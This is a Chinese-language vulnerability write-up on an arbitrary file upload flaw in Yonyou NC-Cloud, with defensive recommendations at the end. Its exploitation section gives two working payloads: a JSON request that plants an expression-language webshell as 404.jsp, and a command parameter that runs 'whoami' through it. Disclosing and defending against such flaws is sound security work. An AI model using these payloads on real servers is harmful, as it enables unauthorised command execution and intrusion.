声明
本文仅用于技术交流,请勿用于非法用途
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
文章作者拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
漏洞原理
用友NC-Cloud最近爆出存在全版本任意文件上传漏洞的问题。现在已经确认了这个漏洞可以被攻击者利用,目前不明确此漏洞适用的最低版本。攻击者可以通过该漏洞将任意文件上传至服务器,并以此将webshell上传至服务器,从而获得服务器的命令执行权限。
漏洞利用
利用此漏洞需要俩段poc
第一段POC:
{"serviceName":"nc.itf.iufo.IBaseSPService","methodName":"saveXStreamConfig","parameterTypes":["java.lang.Object","java.lang.String"],"parameters":["${param.getClass().forName(param.error).newInstance().eval(param.cmd)}","webapps/nc_web/404.jsp"]}
执行后有两种结果,一种是404了,另一种是200,经测试这两种回显都是上传成功。
第二段POC来进行命令执行:
cmd=org.apache.commons.io.IOUtils.toString(Runtime.getRuntime().exec("whoami").getInputStream())
漏洞复现-POC
防御建议
要防御用友NC-Cloud的全版本任意文件上传漏洞问题,以下是一些常见的防御措施:
-
及时升级补丁:确保用友NC-Cloud的软件版本处于最新状态,及时应用由供应商发布的安全补丁和更新。这有助于修复已知漏洞并提高系统的安全性。
-
限制文件上传:通过限制用户上传文件的类型、大小和目标路径,可以有效减少任意文件上传漏洞的风险。例如,验证文件扩展名和内容,使用白名单机制,只允许特定的文件类型上传。
-
文件上传验证:在服务器接收到上传文件时,进行文件验证是很重要的。可以使用安全的文件验证机制,例如校验文件的魔术字节、文件头信息、文件结尾等,以确保上传的文件是预期的有效文件,并阻止上传恶意文件。
-
强化访问控制:实施严格的访问控制措施,包括强密码策略、角色权限管理和多因素身份验证,以减少未授权访问和滥用漏洞的风险。
-
安全审计和监控:实施安全审计和监控机制,定期检查系统日志、访问日志和上传文件日志,及时发现异常活动和潜在的攻击行为。
-
安全教育和培训:对系统管理员和用户进行安全教育和培训,提高其安全意识,让他们了解常见的安全威胁和最佳实践,以便正确地使用系统和应对潜在威胁。